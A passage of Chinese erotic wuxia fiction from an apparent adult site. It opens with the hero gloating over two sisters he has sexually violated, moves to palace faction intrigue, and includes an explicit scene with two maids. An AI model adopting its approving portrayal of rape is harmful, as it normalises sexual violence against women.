伴著阴元的倾泄而出,江诗涵终于崩溃地瘫痪昏迷。

初冬的凉风轻拂,宗童默默地体会著春风一度后的温存。

无意间瞥见两女的下身落红缤纷,一片狼藉的辉煌战果,不禁大感得意。

他很想就此离去,可是又放心不下,几经考虑之后,他轻捏两女“人中穴”,立刻躲起来。

不久,只听见两女惊叫一声,接著便是一阵沉默。

“大姊!我们……”

“我知道,我们的清白身子都被那小贼奸污了。”

“怎么办?我……我们以后怎么做人?我真恨不得将他碎尸万段,才能消除我心中的恨意。”

“我也一样,这件事情我们绝对不能说出去,否则我们不但无法再做人,甚至我的婚约都可能受影响。”

“大姊!你……你还想和白师兄……”

“那是当然,白师兄的人品不凡,更有天下第一庄的雄厚背景,可说是女人心目中的白马王子,我爹费尽心思才促成我们的婚约,我怎会轻易放弃?”

“可是我们的红丸已失,一旦洞房之夜,白师兄岂不是要发现真象?”

“这不是什么大问题,我只要趁他不注意时,暗中捏破指尖,再滴血于下体,这样就可以瞒住他了。”

“这样好吗?万一那小贼将今天的事说出,我们又该如何自圆其说?”

“所以我们要尽快杀了那小贼灭口,否则我们就算死了,也会辱及家门,让爹娘蒙羞,永远无法在江湖上立足。”

“唉……事情怎会弄成这种地步?”

“二妹别再犹豫不决了,事情已经发生,我们就该面对现实。眼前除此之外,别无其他办法,除非二妹甘心嫁给他,否则这段仇恨绝对无法善了。”

“怎么可能?我恨不得吃他的肉啃他的骨,我宁死也不可能嫁他。”

“这就对了,凭他一副獐头鼠目的瘪三样,如何配得上我们?只要我们随便手指一勾,便有一大串的护花使者上门提亲,随便那一个都比他强多了!”

“好吧。哎唷,酸死我了。”

“我也是,我们还是速离险地,免得叫人看见了就不好。”

不久,两女穿好了衣裙便走了。

宗童听了两女的一番对话,简直气到了极点。

他万万想不到所谓的名门闺秀,竟是如此的虚荣狡诈,明明已经是残花败柳的情况下,仍想旧瓶新装的另嫁他人,还把他贬得一文不值,甚至还要杀他灭口,简直令他忍无可忍。

“好吧,你们这些男盗女娼的伪君子,既然都喜欢骗人,咱们就好好地玩一场谋略游戏吧。”

由于左臂伤势不轻,白马公子又追杀甚急,他自然而然的想要寻求庇护,最理想的对象就是映雪郡主。

不久,他忍著伤痛来到八王府。

映雪郡主一脸不悦道:“你又在什么地方得罪了那个瘟神?却害我追丢钦犯,今天无论如何你都要给我一个交待。”

宗童苦笑道:“那个疯子妄想当天下第一人,凡是他认为有威胁的人,都是他所要消灭的对象,郡主如果要追究责任,何不派人捉他?”

“哼,你当本郡主是傻瓜吗?那人的武功极高,无缘无故本郡主何必惹这种敌人?”

“原来郡主是怕他?”

映雪郡主突然娇笑道:“你少用激将法,本郡主才不上你的当,替你挡灾呢。”

“郡主这番话,对一个曾经救过你的救命恩人而言,不觉得太残忍了?”

“本郡主只是好意提醒你,如果你想在京城里混的话,光靠激将法是行不通的。”

宗童连忙鞠躬一礼,道:“多谢郡主成全。”

“咦?本郡主成全你什么?”

“郡主刚才的话意,不是暗示我留任府中,以便在京中混出一个名堂光耀门楣。”

“原来你想谋个差事,那还不容易?你想担任何职?你说吧。”

“这……我能不能在郡主身边,担任专属的护卫?”

“你想当本郡主的贴身护卫?”

“不错。”

“好吧,看在你曾经救过本郡主的分上,就让你当护花使者吧。”

“多谢郡主。”

“走,本郡主带你去见父王,只要他点头答应,这样就没问题了。”

接连穿越几个回廊,最后两人进入一间书房,只见一名浓眉大胡的中年人正在批览公文。

“父王,他就是人家向您提过在惠阳的救命恩人!”

宗童连忙行礼道:“草民童宗叩见王爷。”

八王爷欣然笑道:“多谢壮士的仗义解围,使小女免于落入钦犯魔手,本王真不知道该如何表示心中的谢意。”

映雪郡主轻笑道:“父王无须太客气,他刚才已经表示愿意投效本府,以后大家就是自己人了。”

“哦?那真是太好了,童护卫如果不嫌弃的话,就请留下来吧。”

“多谢王爷。”

“哈哈,这真是大喜一件,今晚由本王设宴为童护卫庆祝一番,并且介绍大家给你认识一下。”

“是。”

映雪郡主大喜道:“父王,我先带他去安顿如何?”

八王爷笑道:“好,你就带他去含翠楼安顿吧!”

“咦!那不是父王用来招待贵宾的地方吗?”

“不错,正是那里。”

“父王为何要如此安排?”

“哈哈,能让白马公子视为劲敌的高手并不多见,更何况能在万剑齐发的突袭下全身而退的,更是从未听人说过。像童护卫这种绝顶高手,本王怎能太失礼呢?”

“我明白了,女儿这就带他去含翠楼安顿。”

︽︽︽含翠楼。

这是一楝构筑在一片绿竹林中的楼阁,四周更是植满了五彩缤纷的花草,景色之美令人神往。

宗童第一眼便喜欢上这片景色,不禁受宠若惊的道:“王爷实在太礼遇属下了,这样会不会太招摇了,恐怕会引起其他护卫心中的不满。”

“你放心好了,应该不会有这个问题才对。”

“为什么?”

“因为多年来,父王一直极力拉拢天马山庄的玉剑书生未果,如今由你取代他成为含翠楼的主人,大家便该明白你在父王心目中的分量,自然不会有人敢自讨没趣,妄想和你争宠了。”

“原来含翠楼的贵宾,就是玉剑书生。”

“不错。”

“世人多是攀龙附凤,期望有朝一日鱼跃龙门,从此飞黄腾达,玉剑书生却平白舍弃这种结交权贵的大好良机,难道他是白痴不成?”

“哼,他不但不是白痴,而且是成精的老狐狸。只有无权无势的小角色才会攀龙附凤,像他这种拥有天下第一庄的庞大势力,名望地位不在七大门派掌门之下的人,总是采取两不得罪的交际策略。讲好听一点是广结善缘,讲难听一点的就是脚踏两条船。”

“王爷已是一人之下万人之上的尊荣,怎会有对手?”

“这是难免的,自古以来的宫廷斗争,都是从派系所引起的。更何况王爷之位虽是人臣之极,却也有尊卑之分,有些王爷只是一个闲差的头衔,地位还不如一个提督来得重要。”

“想不到朝中的人际关系如此复杂。”

“你如果想在京中出人头地的话,你就必须搞清楚各派系势力的消长,否则你很难在京中立足。”

“不知朝中的派系如何分别?”

“除了皇上的锦衣卫自成一系之外。朝中大致可分成三大派别,其中以兵部尚书和各边关将领所组成的派系最强,而父王和东宫皇后为首的势力次之,最后才是四王爷和西宫皇后居末。”

“原来如此,我听过说书的先生说过,历代的朝廷都免不了文争武斗的派系倾轧,想不到真有其事!”

“不错,当前朝中最大的隐忧,便是以兵部尚书为首的这批悍将,一旦他们有心造反的话,朝廷将很难抵挡他们的兵力。”

“难道皇上完全不知这种情势的恶劣?”

“三年前皇上也发觉不对,所以才将包藏祸心的忠勇侯处决,只是兵部尚书的羽翼已丰,想要彻底根除的话,恐怕不是容易的事!”

“这就是纪浩然他们一再寻仇的主因?”

“不错。”

“郡主可知兵部尚书手中握有的兵力如何?”

“皇上和兵部尚书各掌握全国三分之一的兵力,可是兵部大多是能谋善战的将领,就连兵勇也是身经百战的战士,战力当可提升五成左右,相较于皇上的锦衣卫和禁卫军,战力将成四比六的局势。剩下的三分之一兵力,则由父王和四王叔均分,战力更是无法和双方相比拟。”

“哎呀,想不到朝中的政局如此混乱,难怪朝廷对旱灾的救济,总是一副爱理不理的暖昧态度,原来是自身难保了。”

“一点也不错,赈灾的物资受制于兵部不愿配合运输,所以成效一直不彰,最后皇上才改以免赋一年,希望早日刺激灾区经济,以便尽快恢复往日繁华。”

“既然这样,王爷和四王爷毕竟是亲兄弟,何不暂时放下成见,和皇上携手合作共同对抗兵部尚书,双方的实力至少可以拉成五五平分的局面吧。”

“应该不止,如此一来双方的优劣立刻逆转,比数变成我六他四。这也正是尽管兵部尚书实力已丰,却不敢轻易造反的主要原因。”

“那不是很好吗?你们又为何不合作?”

“覆巢之下焉有完卵,这点默契双方是有的,根本不须白纸黑字的讲明,一旦兵部有任何风吹草动,父王和四王叔自会拥护皇上,你的顾虑根本是多余的。”

“既然如此,你们为何又南下追缉宗大夫,听说他和四王爷关系良好,你们这么做,岂不是在互挖墙角,难道不怕引起双方的关系紧张。”

“咦!你怎知我们是去缉捕宗大夫?而且还知道他和四王爷的关系?”

“这……大王子在惠阳的所作所为,早已传遍整个广东,我又怎会不知?至于他和四王爷的关系,我是在客栈里无意中听人提起的。”

“唔,是谁?”

“不清楚,好像是四王爷派去调查事件经过的人,交谈之中不断的提及双方的交情深厚等等琐事。”

“原来如此,那就错不了,其实这一次缉捕行动,完全是皇上的旨意!”

“怎么说?”

“皇上对宗大夫医死大太子一事,一直耿耿于怀,得知惠阳有神医能根治麻疯病,才下旨由大哥率领锦衣卫去查办的。”

宗童心中暗骂道:“这昏君到现在还搞不清楚,他的大儿子是被他的大老婆害死的,到现在还像疯狗一样乱咬人,简直是昏庸的老糊涂一个,难怪朝政被他搞得昏天暗地。”

“你现在可明白朝中派系的情况了?”

“了解。”

“那你先休息一下,等时间一到,会有侍婢来通知你赴宴的。”

“卑职明白。”

宗童将她送走之后,便开始运功调息。

不知经过了多久,便有一名美婢小美来通知他赴宴。

宗童在她的服侍下,迅速的整装赴宴。

尽管宗童并不喜欢吃这种政治饭,可是心中也明白无法避免,对于众人的敬酒他也来者不拒,只要酒一下肚,他便暗中运功排出酒气。

所以当众人拚酒倒了大半,他虽然一点醉意也没有,却假装醉醺醺的趴倒,由侍女将他扶回房里休息。

这一餐吃下来,他可说收获极丰。

首先是八王爷身边寸步不离的龙凤双卫,以他的经验告诉自己,这两人的武功极高,将是他复仇计画的一大阻碍。

接著两位王妃表面上亲蜜以姊妹相称,却暗中较劲各树羽翼,这一点可由她们不断亲热的拉拢动作得到证实。

这家人最让宗童注意的人,就是名叫云姬的女人。

她虽然长得美艳无双,却经过精密的易容,如果不是他这个行家的话,寻常人绝对无法看出破绽,更何况他还是个医术高手,任何细微的刀痕都难逃他的法眼。

这样的人竟是大王子的爱妃,那问题就不单纯了。

种种的疑问待解,他便佯装不胜酒力的醉倒了。

侍婢小美和小蕙将他扶回房里,两人忙了一阵,又是脱衣又是毛巾的,总算将他摆平。

“小美,你看他是真醉还是假醉?”

“我怎么知道?不过他连喝了好几坛陈年女儿红,可说是我这辈子所见过酒量最好的人,依我看应该是真的醉才对。”

“那我就放心。刚才上面已经有讯息下来,要小姐设法拉拢他,你是负责服侍他起居的侍婢,不但要严密监视他的一举一动,还要搞清楚他的来历和进京的目的。”

“我明白。”

“那我走了,你行动要小心一点。听说他的武功极高,竟能逃过白马公子的万剑齐发,现在已经轰动京城,相信不久就会传遍整个江湖了。”

“真的?”

“嗯!就是因为这样,上面才会指示小姐尽快拉拢他,以免被八王爷吸收,成为我方的威胁。”

“好啦,你比我娘还罗嗦。”

“哼!我可是好意提醒你,你不要不识好人心。”

“咦!你今天怎么有点……我明白了,你是不是喜欢上他了。”

“你胡说……你……”

“你先别恼羞成怒,我早就对他一见钟情了,如果你也是芳心暗许的话,我们何不趁此良机与他共赴巫山?”

小蕙含羞带怯道:“好吧,那我先去把风好了。”

小美将房门关好之后,便偷偷地打量著宗童,只觉得愈看愈顺眼,最后更伸出颤抖的纤手,轻抚著他的脸颊,最后是结实的胸膛。

“有道是内练一口气,外练筋骨皮,从这身结实的胸肌看来,他一定是内外双修的高手,也是女人梦寐以求的理想对象,有夫如此夫复何求呢?”

小美心中一动,红著俏脸又仔细的察看一阵,便激情趴仆在宗童身上拥吻著。

宗童料不到会有此桃花劫,不禁心中暗骂道:“这可是你自己送上门找死,等一下不把你宰的死去活来才怪。”

他又等待小美意乱情迷的扭摆呻吟之际,才翻身上马,狂野而猛烈地驰骋著……

小蕙等到小美魂飞天外之后,立刻迫不及待的投怀送抱,只见两条白羊欲罢不能的赤裸肉搏,舍生忘死的抵死缠绵……

潮起潮落,两女终于不胜承欢的被底求饶。

事后,小美不禁含羞带怯道:“对不起,我们……”

宗童哈哈一笑道:“别怕!如此艳福我是求之不得。”

小蕙欣喜道:“下次我们还可以再相聚吗?”

“不必如此,这扇大门随时开著,你什么时候想来都行。”

小蕙喜极而泣道:“谢谢,小婢感激不尽。”

宗童又对小美道:“你呢?”

小美也欣喜道:“这是小婢求之不得的事,小婢又怎会反对呢。”

宗童笑道:“那就好,你快帮我准备漱洗用具,王爷就快要早朝了。”

小蕙忙道:“我去准备童护卫的早点。”

两女分工合作之下,没多久宗童便用过早点,到大门口等候八王爷上朝了。

不久,八王爷身著朝服的出厅,道:“今天就由童护卫和大头菜两人随行即可。”

另外三名护卫一怔,连忙答应退去。

宗童便在官轿右前方开道,转过午门,便遇上同赴早朝的数顶官轿。

忽见一顶官轿由后方十余丈外飞赶而来,沿途的官轿纷纷自动让道,并且向对方鞠躬致意。

宗童朝灯笼一瞧,立见上面写著“侯”字,他才明白原来轿子的主人是权倾一时的兵部尚书侯世邦。

轿前轿后共有四名护卫拥护,个个昂首阔步威风八面,那分气势简直可用目空一切来形容。

等官轿停在太和殿前,八王爷下轿准备上朝。

立听左侧传来一声清咳。

八王爷抬头一看,便笑道:“侯大人起得真早呀。”

只见一位体型瘦削的老者在魁梧护卫的护送下,从容行来。

“王爷,您今天不是也赶了个大早吗?”

“哈哈,彼此彼此。”

“听说王爷近日网罗了一位青年高手,居然不惧天马山庄的万剑齐发,不知是否就是眼前这位……”

“哈哈,侯大人果然消息灵通,童护卫你还不快来拜见兵部尚书侯大人。”

宗童连忙躬身一礼,道:“拜见侯大人。”

“唔,果真是少年英雄,人品尤其不错,你可愿意转任本官的总护院?”

“多谢大人抬爱,卑职无德无能,不敢接受大人的好意。”

兵部尚书淡淡一笑,转对八王爷道:“王爷真是好福气,竟能找到如此忠心的护卫,真叫老臣羡慕!”

八王爷得意一笑道:“侯大人的亲信向护卫人称‘三刀追魂’,名列天下四大暗器高手之一,正是本王极欲借重的人才,侯大人不知能否割爱……”

兵部尚书哈哈大笑,道:“王爷这一记回马枪果然厉害,老臣甘拜下风,时候已经不早,我们还是上朝吧。”

“侯大人请。”

两人又是一番客套礼让,才同步走去。


若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]